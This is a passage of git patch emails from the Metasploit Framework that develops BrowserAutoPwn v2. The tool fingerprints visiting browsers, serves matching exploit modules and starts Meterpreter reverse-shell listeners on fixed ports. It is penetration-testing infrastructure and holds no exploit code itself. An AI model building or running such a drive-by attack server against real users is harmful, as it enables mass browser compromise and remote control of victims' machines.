send_exploit_html(cli, 'OK') end From 43f5323e8dc007059e5d89aef9743ad4213ad6a0 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 28 Apr 2015 21:26:31 -0500 Subject: [PATCH 009/150] More progress --- lib/msf/core/exploit/browserautopwnv2.rb | 100 ++++++++++------------- lib/msf/core/exploit/http/server.rb | 4 + 2 files changed, 47 insertions(+), 57 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 12703fd5f8..a4e54f02de 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,12 +22,12 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific. DEFAULT_PAYLOADS = { + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/meterpreter/reverse_tcp', 'lport' => 4445 }, 'osx' => { 'payload' => 'osx/meterpreter/reverse_tcp', 'lport' => 4446 }, 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, -# 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } } @@ -80,7 +80,7 @@ module Msf # # @return [void] def set_exploit_options(xploit) - p = pick_default_payload(xploit) + p = select_payload(xploit) xploit.datastore['DisablePayloadHandler'] = true # BAP should handle the handlers xploit.datastore['PAYLOAD'] = p['payload'] # We'll need this information later for multi handler xploit.datastore['LPORT'] = p['lport'] # We'll need this information later for multi handler @@ -121,37 +121,6 @@ module Msf end - # Returns a preferred default payload. The load order is based on this preference: - # if there is a browser-specific payload (such as firefox), then we'll use that as default. - # And then we fall back to the module's platform. If there's nothing we can choose, - # then we'll just use the generic reverse shell. - # - # @see DEFAULT_PAYLOADS - # @param [Class] The initialized exploit object. - # @return [Hash] The default payload information from DEFAULT_PAYLOADS. - def pick_default_payload(m) - module_platforms = m.platform.platforms - preferred_payload = DEFAULT_PAYLOADS['generic'] - - # Specific load order - if module_platforms.include?('firefox') - preferred_payload = DEFAULT_PAYLOADS['firefox'] - elsif module_platforms.include?('java') - preferred_payload = DEFAULT_PAYLOADS['java'] - elsif module_platforms.include?('android') - preferred_payload = DEFAULT_PAYLOADS['android'] - elsif module_platforms.include?('win') - preferred_payload = DEFAULT_PAYLOADS['win'] - elsif module_platforms.include?('linux') - preferred_payload = DEFAULT_PAYLOADS['linux'] - elsif module_platforms.include?('osx') - preferred_payload = DEFAULT_PAYLOADS['osx'] - end - - preferred_payload - end - - # Modifies @bap_exploits by sorting. The newest and with the highest ranking goes on top. # # @see #bap_exploits The read-only attribute. @@ -226,6 +195,7 @@ module Msf def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| multi_handler = framework.modules.create('exploit/multi/handler') + multi_handler.datastore['LHOST'] = '0.0.0.0' multi_handler.datastore['PAYLOAD'] = listener_info['payload'] multi_handler.datastore['LPORT'] = listener_info['lport'] multi_handler.datastore['EXITONSESSION'] = false @@ -237,7 +207,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - #$stderr.puts multi_handler.inspect + $stderr.puts multi_handler.inspect end end @@ -276,11 +246,11 @@ module Msf def select_payload(m) - selected_payload = DEFAULT_PAYLOADS['generic']['payload'] + selected_payload = DEFAULT_PAYLOADS['generic'] DEFAULT_PAYLOADS.each_pair do |p, info| preferred = info['payload'] m.compatible_payloads.each do |k| - return preferred if k[0] == preferred + return info if k[0] == preferred end end @@ -289,30 +259,15 @@ module Msf def start_exploits - order = 1 - table = Rex::Ui::Text::Table.new( - "Header" => "Exploits", - "Indent" => 1, - "Columns" => ["Order", "Rank", "Name", "URI"] - ) - bap_exploits.each do |m| m.exploit_simple( - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Target' => 0, - 'Payload' => select_payload(m), - 'RunAsJob' => true + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Target' => 0, + 'Payload' => m.datastore['PAYLOAD'], + 'RunAsJob' => true ) - table << [order.to_s, parse_rank(rank), m.shortname, m.get_resource] - order += 1 end - - print_line - print_status("The following is a list of exploits that are ready for BrowserAutopwn.") - print_status("Exploits with the highest ranking and newest will be tried first.") - print_line - print_line table.to_s end @@ -334,15 +289,46 @@ module Msf start_payload_listeners print_status("Starting exploit modules...") start_exploits + show_ready_exploits t2 = Time.now print_line print_status("Time spent: #{(t2-t1).inspect}") end + + def show_ready_exploits + order = 1 + table = Rex::Ui::Text::Table.new( + "Header" => "Exploits", + "Indent" => 1, + "Columns" => ["Order", "Rank", "Name", "PATH", "Payload"] + ) + + bap_exploits.each do |m| + table << [ + order.to_s, + parse_rank(m.rank), + m.shortname, + m.datastore['URIPATH'], + "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + ] + order += 1 + end + + print_line + print_status("The following is a list of exploits that are ready for BrowserAutopwn.") + print_status("Exploits with the highest ranking and newest will be tried first.") + print_line + print_line table.to_s + end + + def start_service super print_status("Please use the following URL for the browser attack:") print_status("BrowserAutoPwn URL: #{self.get_uri}") +# $stderr.puts +# $stderr.puts bap_exploits.inspect end end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index ae54676bcb..bba5e70a4b 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -460,6 +460,10 @@ module Exploit::Remote::HttpServer @service_path ? @service_path.dup : nil end + def blah + @my_resources.inspect + end + # # Return a full url of the form http://1.1.1.1:8080/resource/ # From 65b7659d27ac5851e1f373eaddd496fd3e28ffb4 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 01:01:36 -0500 Subject: [PATCH 010/150] Some progress --- lib/msf/core/exploit/browserautopwnv2.rb | 40 +++++++++++++++--------- lib/msf/core/exploit/http/server.rb | 4 --- lib/msf/core/handler/reverse_tcp.rb | 5 +-- modules/exploits/multi/handler.rb | 4 ++- 4 files changed, 32 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index a4e54f02de..3ede415109 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -51,7 +51,8 @@ module Msf # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits - @bap_exploits = [] # Initialized BES modules are held here + # Initialized BES modules are held here + @bap_exploits = [] init_exploit_paths.each do |m| module_name = m.first @@ -188,26 +189,40 @@ module Msf end + def is_payload_handler_wanted?(payload_name) + bap_exploits.each do |m| + return true if m.datastore['PAYLOAD'] == payload_name + end + + false + end + + # Creates payload listeners. # # @note INCOMPLETE # @return [void] def start_payload_listeners DEFAULT_PAYLOADS.each_pair do |platform, listener_info| + # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload + next if listener_info['payload'] == 'firefox/shell_reverse_tcp' + + # Don't waste resources. This shaves about a second in loading speed. + next unless is_payload_handler_wanted?(listener_info['payload']) + multi_handler = framework.modules.create('exploit/multi/handler') multi_handler.datastore['LHOST'] = '0.0.0.0' multi_handler.datastore['PAYLOAD'] = listener_info['payload'] multi_handler.datastore['LPORT'] = listener_info['lport'] multi_handler.datastore['EXITONSESSION'] = false multi_handler.datastore['EXITFUNC'] = 'thread' -# multi_handler.datastore['ReverseListenerBindAddress'] = datastore['ReverseListenerBindAddress'] + multi_handler.datastore['MODULEOWNER'] = 'BAP' multi_handler.exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - $stderr.puts multi_handler.inspect end end @@ -280,16 +295,18 @@ module Msf t1 = Time.now self.datastore['MODULEOWNER'] = 'BAP' super + print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits print_status("#{@bap_exploits.length} BES exploits found.") - print_status("Starting listeners...") - start_payload_listeners print_status("Starting exploit modules...") start_exploits - show_ready_exploits + + print_status("Starting listeners...") + start_payload_listeners + t2 = Time.now print_line print_status("Time spent: #{(t2-t1).inspect}") @@ -297,38 +314,33 @@ module Msf def show_ready_exploits - order = 1 table = Rex::Ui::Text::Table.new( "Header" => "Exploits", "Indent" => 1, - "Columns" => ["Order", "Rank", "Name", "PATH", "Payload"] + "Columns" => ["Rank", "Name", "Path", "Payload"] ) bap_exploits.each do |m| table << [ - order.to_s, parse_rank(m.rank), m.shortname, m.datastore['URIPATH'], "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" ] - order += 1 end print_line - print_status("The following is a list of exploits that are ready for BrowserAutopwn.") + print_status("The following is a list of exploits that BrowserAutoPwn will consider using.") print_status("Exploits with the highest ranking and newest will be tried first.") print_line print_line table.to_s end - def start_service super + show_ready_exploits print_status("Please use the following URL for the browser attack:") print_status("BrowserAutoPwn URL: #{self.get_uri}") -# $stderr.puts -# $stderr.puts bap_exploits.inspect end end diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index bba5e70a4b..ae54676bcb 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -460,10 +460,6 @@ module Exploit::Remote::HttpServer @service_path ? @service_path.dup : nil end - def blah - @my_resources.inspect - end - # # Return a full url of the form http://1.1.1.1:8080/resource/ # diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index f66a947093..8d7dd0454c 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -108,8 +108,9 @@ module ReverseTcp else via = "" end - - print_status("Started reverse handler on #{ip}:#{local_port} #{via}") + unless datastore['MODULEOWNER'] == 'BAP' + print_status("Started reverse handler on #{ip}:#{local_port} #{via}") + end break rescue ex = $! diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 1c4f635b8e..ef0ee4271b 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote end stime = Time.now.to_f - print_status "Starting the payload handler..." + unless datastore['MODULEOWNER'] == 'BAP' + print_status "Starting the payload handler..." + end while(true) break if session_created? and datastore['ExitOnSession'] break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) ) From 39663a7e1887ef9399af1ff62edc7d9e5732df87 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 01:19:39 -0500 Subject: [PATCH 011/150] Some progress --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index ca75c309c0..5880dd1fd3 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -633,3 +633,13 @@ module Msf end end + + + +=begin + +TODO: +Use notes to store client profiles, and then use framework.db.get_host(address: "10.6.0.121") +to retrieve notes in order to look up a profile. + +=end From 9cebe769c2863ef5e839c5ec5c0c346ce0255c03 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 01:29:24 -0500 Subject: [PATCH 012/150] Change plan --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 5880dd1fd3..2247f32749 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -639,7 +639,7 @@ end =begin TODO: -Use notes to store client profiles, and then use framework.db.get_host(address: "10.6.0.121") +Use notes to store client profiles, and then use framework.db.notes to retrieve notes in order to look up a profile. =end From 943fc18092e49f036f7fb28d72eacdb6b44b4d98 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 11:04:54 -0500 Subject: [PATCH 013/150] Take apart browser profiling --- .../exploit/remote/browser_exploit_server.rb | 60 +------------------ 1 file changed, 2 insertions(+), 58 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 2247f32749..df66ec88c2 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -6,6 +6,7 @@ require 'date' require 'set' require 'rex/exploitation/js' require 'msf/core/exploit/jsobfu' +require 'msf/core/exploit/remote/browser_profile_manager' ### # @@ -25,6 +26,7 @@ module Msf include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::JSObfu + include Msf::Exploit::Remote::BrowserProfileManager # this must be static between runs, otherwise the older cookies will be ignored DEFAULT_COOKIE_NAME = '__ua' @@ -81,9 +83,6 @@ module Msf # The mixin keeps 'target' so module doesn't lose it. @target = target - # See get_profile's documentation to understand what @target_profiles stores - @target_profiles = {} - # Requirements are conditions that the browser must have in order to be exploited. @requirements = extract_requirements(self.module_info['BrowserRequirements'] || {}) @@ -237,61 +236,6 @@ module Msf bad_reqs end - # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie_name' => - # { - # :os_name => 'Windows 7' - # ...... etc ...... - # } - # A profile should at least have info about the following: - # :source : The data source. Either from 'script', or 'headers'. The 'script' source - # should be more accurate in some scenarios like browser compatibility mode - # :ua_name : The name of the browser - # :ua_ver : The version of the browser (not yet implemented) - # :os_name : The name of the OS ("Windows XP") - # :language : The system's language - # :arch : The system's arch - # :proxy : Indicates whether proxy is used - # - # For more info about what the actual value might be for each key, see HttpServer. - # - # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) - # 'java' : The Java version - # 'mshtml_build' : The MSHTML build version - # 'flash' : The Flash version - # 'silverlight' : The Silverlight version - # - # @param tag [String] Either a cookie or IP + User-Agent - # @return [Hash] The profile found. If not found, returns nil - def get_profile(tag) - sync do - return @target_profiles[tag] - end - end - - - # Updates information for a specific profile - # - # @param target_profile [Hash] The profile to update - # @param key [Symbol] The symbol to use for the hash - # @param value [String] The value to assign - def update_profile(target_profile, key, value) - sync do - target_profile[key] = value - end - end - - - # Initializes a profile, if it did not previously exist - # - # @param tag [String] A unique string as a way to ID the profile - def init_profile(tag) - sync do - @target_profiles[tag] ||= {} - end - end # Retrieves a tag. From c18c5c7b6e05c759b903fade266ca0e2589a939c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 11:06:00 -0500 Subject: [PATCH 014/150] Actually take apart profiling? --- .../exploit/remote/browser_profile_manager.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 lib/msf/core/exploit/remote/browser_profile_manager.rb diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb new file mode 100644 index 0000000000..9867a329cc --- /dev/null +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -0,0 +1,69 @@ +module Msf + module Exploit::Remote::BrowserProfileManager + def initialize(info={}) + super + # See get_profile's documentation to understand what @target_profiles stores + @target_profiles = {} + end + + + # Returns the target profile based on the tag. Each profile has the following structure: + # 'cookie_name' => + # { + # :os_name => 'Windows 7' + # ...... etc ...... + # } + # A profile should at least have info about the following: + # :source : The data source. Either from 'script', or 'headers'. The 'script' source + # should be more accurate in some scenarios like browser compatibility mode + # :ua_name : The name of the browser + # :ua_ver : The version of the browser (not yet implemented) + # :os_name : The name of the OS ("Windows XP") + # :language : The system's language + # :arch : The system's arch + # :proxy : Indicates whether proxy is used + # + # For more info about what the actual value might be for each key, see HttpServer. + # + # If the source is 'script', the profile might have even more information about plugins: + # 'office' : The version of Microsoft Office (IE only) + # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) + # 'java' : The Java version + # 'mshtml_build' : The MSHTML build version + # 'flash' : The Flash version + # 'silverlight' : The Silverlight version + # + # @param tag [String] Either a cookie or IP + User-Agent + # @return [Hash] The profile found. If not found, returns nil + def get_profile(tag) + sync do + return @target_profiles[tag] + end + end + + + # Updates information for a specific profile + # + # @param target_profile [Hash] The profile to update + # @param key [Symbol] The symbol to use for the hash + # @param value [String] The value to assign + def update_profile(target_profile, key, value) + sync do + target_profile[key] = value + end + end + + + # Initializes a profile, if it did not previously exist + # + # @param tag [String] A unique string as a way to ID the profile + def init_profile(tag) + sync do + @target_profiles[tag] ||= {} + end + end + + + + end +end \ No newline at end of file From f3e026db6c48b56a8b62e5457a80a0e772b4a0e7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 18:45:08 -0500 Subject: [PATCH 015/150] Profile sharing works for the first time --- .../exploit/remote/browser_exploit_server.rb | 51 ++++++----- .../exploit/remote/browser_profile_manager.rb | 87 +++++++------------ 2 files changed, 62 insertions(+), 76 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index df66ec88c2..bd7d1005bc 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -154,9 +154,9 @@ module Msf # @param reqs [Hash] A hash that contains data for the requirements # @return [Hash] A hash of requirements def extract_requirements(reqs) - tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} + tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_s)} # Make sure keys are always symbols - Hash[tmp.map{|(k,v)| [k.to_sym,v]}] + Hash[tmp.map{|(k,v)| [k.to_s,v]}] end @@ -214,22 +214,23 @@ module Msf # @param profile [Hash] The profile to check # @return [Array] An array of requirements not met def get_bad_requirements(profile) + profile = profile.first[1] bad_reqs = [] @requirements.each do |k, v| expected = k != :vuln_test ? v : 'true' - vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") + vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_s]}") if k == :activex - bad_reqs << k if has_bad_activex?(profile[k.to_sym]) + bad_reqs << k if has_bad_activex?(profile[k.to_s]) elsif k == :vuln_test - bad_reqs << k unless profile[k.to_sym].to_s == 'true' + bad_reqs << k unless profile[k.to_s].to_s == 'true' elsif v.is_a? Regexp - bad_reqs << k if profile[k.to_sym] !~ v + bad_reqs << k if profile[k.to_s] !~ v elsif v.is_a? Proc - bad_reqs << k unless v.call(profile[k.to_sym]) + bad_reqs << k unless v.call(profile[k.to_s]) else - bad_reqs << k if profile[k.to_sym] != v + bad_reqs << k if profile[k.to_s] != v end end @@ -246,7 +247,9 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def retrieve_tag(cli, request) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) + #$stderr.puts "Found cookie: #{cookie.inspect}" tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first + #$stderr.puts "Found tag: #{tag}" if tag.blank? # Browser probably doesn't allow cookies, plan B :-/ @@ -269,9 +272,10 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser def process_browser_info(source, cli, request) tag = retrieve_tag(cli, request) - init_profile(tag) - target_info = get_profile(tag) - update_profile(target_info, :source, source.to_s) + update_profile(tag, :source, source.to_s) + + found_ua_name = '' + found_ua_ver = '' # Gathering target info from the detection stage case source @@ -279,7 +283,9 @@ module Msf # Gathers target data from a POST request parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '') vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.") - parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) } + parsed_body.each { |k, v| update_profile(tag, k.to_s, v.first) } + found_ua_name = parsed_body['ua_name'] + found_ua_ver = parsed_body['ua_ver'] when :headers # Gathers target data from headers # This may be less accurate, and most likely less info. @@ -288,19 +294,21 @@ module Msf # Kill this to save space. fp.delete(:ua_string) fp.each do |k, v| - update_profile(target_info, k.to_sym, v) + update_profile(tag, k.to_s, v) end + found_ua_name = fp[:ua_name] + found_ua_ver = fp[:ua_ver] end # Other detections - update_profile(target_info, :proxy, has_proxy?(request)) - update_profile(target_info, :language, request.headers['Accept-Language'] || '') + update_profile(tag, :proxy, has_proxy?(request)) + update_profile(tag, :language, request.headers['Accept-Language'] || '') report_client({ :host => cli.peerhost, :ua_string => request.headers['User-Agent'], - :ua_name => target_info[:ua_name], - :ua_ver => target_info[:ua_ver] + :ua_name => found_ua_name, + :ua_ver => found_ua_ver }) end @@ -402,6 +410,7 @@ module Msf datastore['CookieName'] || DEFAULT_COOKIE_NAME end + def cookie_header(tag) cookie = "#{cookie_name}=#{tag};" if datastore['CookieExpiration'].present? @@ -423,7 +432,7 @@ module Msf # # This is the information gathering stage # - if get_profile(retrieve_tag(cli, request)) + unless get_profile_info(retrieve_tag(cli, request)).empty? send_redirect(cli, get_module_resource) return end @@ -459,15 +468,15 @@ module Msf # tag = retrieve_tag(cli, request) vprint_status("Serving exploit to user with tag #{tag}") - profile = get_profile(tag) - if profile.nil? + profile = get_profile_info(tag) + if profile.empty? print_status("Browsing directly to the exploit URL is forbidden.") send_not_found(cli) elsif profile[:tried] and datastore['Retries'] == false print_status("Target with tag \"#{tag}\" wants to retry the module, not allowed.") send_not_found(cli) else - update_profile(profile, :tried, true) + update_profile(tag, :tried, true) vprint_status("Setting target \"#{tag}\" to :tried.") try_set_target(profile) bad_reqs = get_bad_requirements(profile) diff --git a/lib/msf/core/exploit/remote/browser_profile_manager.rb b/lib/msf/core/exploit/remote/browser_profile_manager.rb index 9867a329cc..3e295c65de 100644 --- a/lib/msf/core/exploit/remote/browser_profile_manager.rb +++ b/lib/msf/core/exploit/remote/browser_profile_manager.rb @@ -1,69 +1,46 @@ +require 'Msgpack' + module Msf module Exploit::Remote::BrowserProfileManager - def initialize(info={}) - super - # See get_profile's documentation to understand what @target_profiles stores - @target_profiles = {} - end + public - # Returns the target profile based on the tag. Each profile has the following structure: - # 'cookie_name' => - # { - # :os_name => 'Windows 7' - # ...... etc ...... - # } - # A profile should at least have info about the following: - # :source : The data source. Either from 'script', or 'headers'. The 'script' source - # should be more accurate in some scenarios like browser compatibility mode - # :ua_name : The name of the browser - # :ua_ver : The version of the browser (not yet implemented) - # :os_name : The name of the OS ("Windows XP") - # :language : The system's language - # :arch : The system's arch - # :proxy : Indicates whether proxy is used - # - # For more info about what the actual value might be for each key, see HttpServer. - # - # If the source is 'script', the profile might have even more information about plugins: - # 'office' : The version of Microsoft Office (IE only) - # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only) - # 'java' : The Java version - # 'mshtml_build' : The MSHTML build version - # 'flash' : The Flash version - # 'silverlight' : The Silverlight version - # - # @param tag [String] Either a cookie or IP + User-Agent - # @return [Hash] The profile found. If not found, returns nil - def get_profile(tag) - sync do - return @target_profiles[tag] + NOTE_TYPE_PREFIX = 'BrowserExploitServer.Client' + + def get_profile_info(tag) + normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + framework.db.notes.each do |note| + return MessagePack.unpack(note.data) if note.ntype == normalized_tag end + + {} end - - # Updates information for a specific profile - # - # @param target_profile [Hash] The profile to update - # @param key [Symbol] The symbol to use for the hash - # @param value [String] The value to assign - def update_profile(target_profile, key, value) - sync do - target_profile[key] = value + def update_profile(tag, key, value) + profile = get_profile_info(tag) + if profile.empty? + init_profile(tag) + profile = get_profile_info(tag) end + + normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + profile[normalized_tag][key.to_s] = value + framework.db.report_note( + :type => normalized_tag, + :data => profile.to_msgpack, + :update => :unique + ) end - - # Initializes a profile, if it did not previously exist - # - # @param tag [String] A unique string as a way to ID the profile def init_profile(tag) - sync do - @target_profiles[tag] ||= {} - end + normalized_tag = "#{NOTE_TYPE_PREFIX}.#{tag}" + empty_profile = { normalized_tag => {} } + framework.db.report_note( + :type => normalized_tag, + :data => empty_profile.to_msgpack, + :update => :unique + ) end - - end -end \ No newline at end of file +end From 3fef6362bd987975528450a813cfd95aee9575b1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 21:55:21 -0500 Subject: [PATCH 016/150] Fix sorting --- lib/msf/core/exploit/browserautopwnv2.rb | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 3ede415109..2a29010954 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -35,7 +35,8 @@ module Msf # Returns all the found exploit modules that support BrowserExploitServer by going through all # the exploits from the framework object. # - # @note This method is using framework.exploits and it's one of the reasons why it's so slow. + # @note This method is using framework.exploits and it's one of the reasons why it's so slow, + # and will only get slower. # @todo Maybe look for a different way to get a list of exploits. # @return [Array] A collection of BES modules in this format: [module_fullname, Class]. def init_exploit_paths @@ -48,6 +49,7 @@ module Msf # Initializes the @bap_exploits instance variable with all the found BAP exploits. # + # @note The more BES exploits, the slower this gets. # @see #bap_exploits The read-only attribute. # @return [void] def init_exploits @@ -179,10 +181,11 @@ module Msf # @see #bap_exploits The read-only attribute. # @param [Hash] A grouped module list. # @return [void] - def finalize_sorted_modules(bap_groups) + def finalize_sorted_modules(bap_groups, max=20) @bap_exploits = [] bap_groups.each_pair do |ranking, module_list| module_list.each do |m| + break if @bap_exploits.length >= max @bap_exploits << m end end @@ -315,18 +318,24 @@ module Msf def show_ready_exploits table = Rex::Ui::Text::Table.new( - "Header" => "Exploits", - "Indent" => 1, - "Columns" => ["Rank", "Name", "Path", "Payload"] + 'Header' => 'Exploits', + 'Indent' => 1, + 'Columns' => ['Order', 'Rank', 'Name', 'Path', 'Payload'] ) + # Without the order, sometimes the Rex table messes up even though in the array + # the order looks right. So don't get rid of this. + order = 1 + bap_exploits.each do |m| table << [ + order, parse_rank(m.rank), m.shortname, m.datastore['URIPATH'], "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" ] + order += 1 end print_line From a34531ba5d57a8a0bb15ca2300005dd82d71c5e2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 29 Apr 2015 23:14:52 -0500 Subject: [PATCH 017/150] Msgpack cannot handle symbols, so we're forced to strings --- lib/msf/core/exploit/browserautopwnv2.rb | 1 - .../exploit/remote/browser_exploit_server.rb | 34 +++++++++---------- 2 files changed, 17 insertions(+), 18 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 2a29010954..7d639d6ceb 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -302,7 +302,6 @@ module Msf print_status("Searching BES exploits, please wait...") init_exploits sort_bap_exploits - print_status("#{@bap_exploits.length} BES exploits found.") print_status("Starting exploit modules...") start_exploits diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f2757aa68f..dec4295d38 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -51,22 +51,22 @@ module Msf # Requirements a browser module can define in either BrowserRequirements or in targets REQUIREMENT_KEY_SET = Set.new([ - :source, # Return either 'script' or 'headers' - :ua_name, # Example: Returns 'MSIE' - :ua_ver, # Example: Returns '8.0', '9.0' - :os_name, # Example: Returns 'Windows 7', 'Linux' - :os_device, # Example: Returns 'iPad', 'iPhone', etc - :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc - :os_sp, # Example: Returns 'SP2' - :language, # Example: Returns 'en-us' - :arch, # Example: Returns 'x86' - :proxy, # Returns 'true' or 'false' - :silverlight, # Returns 'true' or 'false' - :office, # Example: Returns "2007", "2010" - :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends) - :mshtml_build, # mshtml build. Example: Returns "65535" - :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) - :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;", + 'source', # Return either 'script' or 'headers' + 'ua_name', # Example: Returns 'MSIE' + 'ua_ver', # Example: Returns '8.0', '9.0' + 'os_name', # Example: Returns 'Windows 7', 'Linux' + 'os_device', # Example: Returns 'iPad', 'iPhone', etc + 'os_vendor', # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc + 'os_sp', # Example: Returns 'SP2' + 'language', # Example: Returns 'en-us' + 'arch', # Example: Returns 'x86' + 'proxy', # Returns 'true' or 'false' + 'silverlight', # Returns 'true' or 'false' + 'office', # Example: Returns "2007", "2010" + 'java', # Example: Return '1.6', or maybe '1.6.0.0' (depends) + 'mshtml_build', # mshtml build. Example: Returns "65535" + 'flash', # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE) + 'vuln_test', # Example: "if(window.MyComponentIsInstalled)return true;", # :activex is a special case. # When you set this requirement in your module, this is how it should be: # 